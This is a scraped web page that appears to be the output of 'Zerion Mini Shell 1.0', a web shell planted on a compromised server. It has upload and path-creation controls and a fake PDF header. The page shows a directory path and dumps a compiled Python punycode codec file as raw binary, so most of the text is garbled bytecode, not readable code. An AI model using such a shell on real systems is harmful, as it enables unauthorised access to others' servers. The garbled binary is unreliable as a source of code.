%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/core26/750/lib/python3.14/encodings/__pycache__/
Upload File :
Create Path :
Current File : //snap/core26/750/lib/python3.14/encodings/__pycache__/punycode.cpython-314.pyc

+
4��j���:�Rt^RItRtRtRtRtRtRtRtR	t	R
t
RtRtR
t
Rt!RR]P4t!RR]P 4t!RR]P"4t!RR]]P$4t!RR]]P&4tRtR#)uXCodec for the Punycode encoding, as specified in RFC 3492

Written by Martin v. Löwis.
Nc���\4p\4pVF@p\V4^�8dVP\V44K/VP	V4KB	\V4p\
V4V3#)z 3.1 Basic code point segregation)�	bytearray�set�ord�append�add�sorted�bytes)�str�base�extended�cs&   �%/lib/python3.14/encodings/punycode.py�	segregater
s[���;�D��u�H�
���q�6�C�<��K�K��A����L�L��O�	�
�h��H���;�� � �c�R�^pVFp\V4V8gKV^,
pK 	V#)z@Return the length of str, considering only characters below max.)r)r
�max�resr
s&&  r�
selective_lenrs,��
�C�
���q�6�C�<��1�H�C���Jrc��\V4pV^,
pW48XdR#W,pWQ8XdV^,V3#WQ8gK3V^,
pK>)aReturn a pair (index, pos), indicating the next occurrence of
char in str. index is the position of the character considering
only ordinals up to and including char, and pos is the position in
the full string. index/pos is the starting position in the full
string.)���r)�len)r
�char�index�pos�lr
s&&&&  r�selective_findrsK��	�C��A�
��q����8��O��H���9���7�C�<��
�X��Q�J�Erc��^�p.pRpVFxpR;rg\V4p\W4p	V	^,W�,
,p
\WWg4wrgVR8XdM-W�V,
,
p
VPV
^,
4Tp^p
KDTpKz	V#)z3.2 Insertion unsort codingr)rrrr)r
r�oldchar�result�oldindexr
rrr�curlen�deltas&&         r�insertion_unsortr#0s����G�
�F��H�
������1�v���s�)�����d�n�-���&�s�U�7�I�E���{���X�%�%�E��M�M�%��'�"��H��E�����Mrc�X�^$V^,,V,
pV^8d^#V^8�d^#V#)�$�)�j�biasrs&& r�Tr)Fs+��
��A��,��
�C�
�Q�w�q�
�R�x���Jrs$abcdefghijklmnopqrstuvwxyz0123456789c�<�\4p^p\W14pW8d(VP\V,4\	V4#VP\W@V,
^$V,
,,,4W,
^$V,
,pV^,
pK�)�(3.3 Generalized variable-length integers)rr)r�digitsr	)�Nr(rr'�ts&&   r�generate_generalized_integerr/Nss��
�[�F�	�A�
�
�a�J���5��M�M�&��)�$���=� ��
�
�f�Q�q�5�R�!�V�"4�5�6�7�
�U��Q����	�Q��rc���V'dVR,pM	V^,pWV,,
p^pVR8�dV^#,pV^$,
pKV^$V,V^&,,,pV#)i�i�r&)r"�first�numchars�	divisionsr(s&&&  r�adaptr4[s^���
�#�
��
�!���	�h�
��E��I�
�#�+������R��	���U�
�u�r�z�2�3�D��Krc���\4p^Hp\V4F=wrE\WS4pVPV4\	WT^8HW,^,4pK?	\V4#)z3.4 Bias adaptation)r�	enumerater/�extendr4r	)�baselen�deltasrr(�pointsr"�ss&&     r�generate_integersr<jsZ���[�F�
�D�"�6�*�
��(��5���
�
�a���U�A�I�w�~�a�'7�8��+���=�rc��\V4wr\W4p\\V4V4pV'dVR,V,#V#)�-)rr#r<r)�textrrr9s&   r�punycode_encoder@us>���t�_�N�D�
�d�
-�F� ��T��F�3�H���d�{�X�%�%��Orc
���^p^p^pW,pT^,
p^ATu;8:d^Z8:dMM
T^A,
pMM^0Tu;8:d^98:dMM
T^,
pM1TR8Xd'\RY^,
TRY^,
,R24hTR3#\Yb4p	YHT,,
pY�8dY3#T^$T	,
,pT^,
pK� \d+TR8Xd\RYT^,R4hT^,R3u#i;i)r+�strict�punycodezincomplete punycode stringNzInvalid extended code point '�')�
IndexError�UnicodeDecodeErrorr))
r�extposr(�errorsr�wr'r�digitr.s
&&&&      r�decode_generalized_numberrKs��
�F�	�A�	�A�
�	$��#�D�	�!����4��4���4�K�E�
�T�
!�T�
!��2�I�E�
�x�
�$�Z��!�8�V�'D�X�UV�h�EW�DX�XY�%Z�\�
\��4�<��
�a�J���!�)����9��>�!�
��a��L��	�Q����)�	$���!�(��X�v�a�x�)E�G�G��A�:�t�#�#�		$�s�C�2C6�5C6c	���^�pRp^Hp^pV\V48d�\WWR4wrxVfV#WH^,,
pW4\V4^,,,
pVR8�d,VR8Xd\RW^,
VRVR
24h\R4pV\V4^,,pVRV\	V4,WR,p\W�^8H\V44pTpK�V#)	z3.2 Insertion sort codingNi��rBrCzInvalid character U+�x�?r)rrKrFr�chrr4)	rrrHrrr(rG�newposr"s	&&&      r�insertion_sortrQ�s����D�
�C�
�D�
�F�
�3�x�=�
 �1�(�26�@�
���=��K��Q�w�����D�	�A�
�&�&���(�?���!�(���a�%��*�4��(�3�5�5��s�8�D��S��Y��]�#���D�S�z�C��I�%��T�
�2���U�q�[�3�t�9�5�����Krc��\V\4'dVPR4p\V\4'd\	V4pVPR4pVR8XdRpVP
4pM*\VRVRV4pY^,RP
4p\W4V4# \d3p\RYPTPTP4RhRp?ii;i \dIpT^,p\RTYeP,YeP,TP4RhRp?ii;i)�asciir>�NrCr)�
isinstancer
�encode�
memoryviewr	�rfind�upperrF�start�end�reasonrQ)r?rHrrr�exc�offsets&&     r�punycode_decoder_�s���$�����{�{�7�#���$�
�#�#��T�{��
�*�*�T�
�C�
�b�y����:�:�<��	;��t�D�S�z�7�F�3�D��A���<�%�%�'��7��d�f�5�5��"�	;�$�W�d�I�I�s�w�w�%(�Z�Z�1�6:�
;��	;���7��q��� ��T�!'�	�	�!1�6�'�'�>�!$���-�26�	7��7�s1�5B+�C+�+C(�6-C#�#C(�+D>�6AD9�9D>c�4a�]tRt^�toRRltRRltRtVtR#)�Codecc�2�\V4pV\V43#�N)r@r��self�inputrHrs&&& rrV�Codec.encode�s���e�$���C��J��rc�\�VR9d\RV24h\W4pV\V43#�rBzUnsupported error handling: )rB�replace�ignore)�UnicodeErrorr_rrds&&& r�decode�Codec.decode�s6���8�8��!=�f�X�F�G�G��e�,���C��J��rr&N)rB)�__name__�
__module__�__qualname__�__firstlineno__rVrm�__static_attributes__�__classdictcell__��
__classdict__s@rrara�s������rrac�*a�]tRt^�toRRltRtVtR#)�IncrementalEncoderc��\V4#rc)r@�rerf�finals&&&rrV�IncrementalEncoder.encode�s
���u�%�%rr&N�F)rorprqrrrVrsrtrus@rrxrx�s����&�&rrxc�*a�]tRt^�toRRltRtVtR#)�IncrementalDecoderc�~�VPR9d\RVP24h\WP4#ri)rHrlr_rzs&&&rrm�IncrementalDecoder.decode�s5���;�;�=�=��!=�d�k�k�]�K�L�L��u�k�k�2�2rr&Nr})rorprqrrrmrsrtrus@rrr�s����3�3rrc��]tRt^�tRtR#)�StreamWriterr&N�rorprqrrrsr&rrr�r�����rr�c��]tRt^�tRtR#)�StreamReaderr&Nr�r&rrr�r��r�rr�c
��\P!R\4P\4P\
\\\R7#)rC)�namerVrm�incrementalencoder�incrementaldecoder�streamwriter�streamreader)	�codecs�	CodecInforarVrmrxrr�r�r&rr�getregentryr��s6�����
��w�~�~��w�~�~�-�-�!�!��r)�__doc__r�rrrr#r)r,r/r4r<r@rKrQr_rarxrr�r�r�r&rr�<module>r�s����
�
!���$�,�
1����	���>�<7�4
�F�L�L�
�&��2�2�&�3��2�2�3�	�5��,�,�	�	�5��,�,�	�
	r

Zerion Mini Shell 1.0